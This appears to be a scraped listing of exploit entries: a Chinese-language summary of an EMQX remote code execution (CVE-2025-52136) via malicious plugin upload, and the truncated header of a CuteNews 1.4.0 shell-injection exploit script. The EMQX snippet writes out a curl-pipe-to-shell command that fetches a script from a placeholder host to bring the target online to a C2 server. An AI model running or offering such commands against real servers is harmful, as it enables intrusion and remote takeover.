CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 原利用方式通过上传emqx插件，在插件模板的代码中添加Erlang os模块调用系统命令执行RCE 出网环境，环境默认存在curl，可以直接通过curl http://xx.xx.xx.xx/1.sh | sh上线C2 目标不出网时，由于EMQX本身即为MQTT消息服务器，因此可以直接配合插件上传，在EMQX服务器执行上传的可执行程序...

CuteNews 1.4.0 - Shell Injection Remote Command Execution

CuteNews 1.4.0 - Shell Injection Remote Command Execution ?php cutenxpl.php CuteNews 1.4.0possibly prior versions remote code execution by rgod site: http://rgod.altervista.org usage: launch form Apache, fill in requested fields, then go! make these changes in php.ini if you have troubles with th...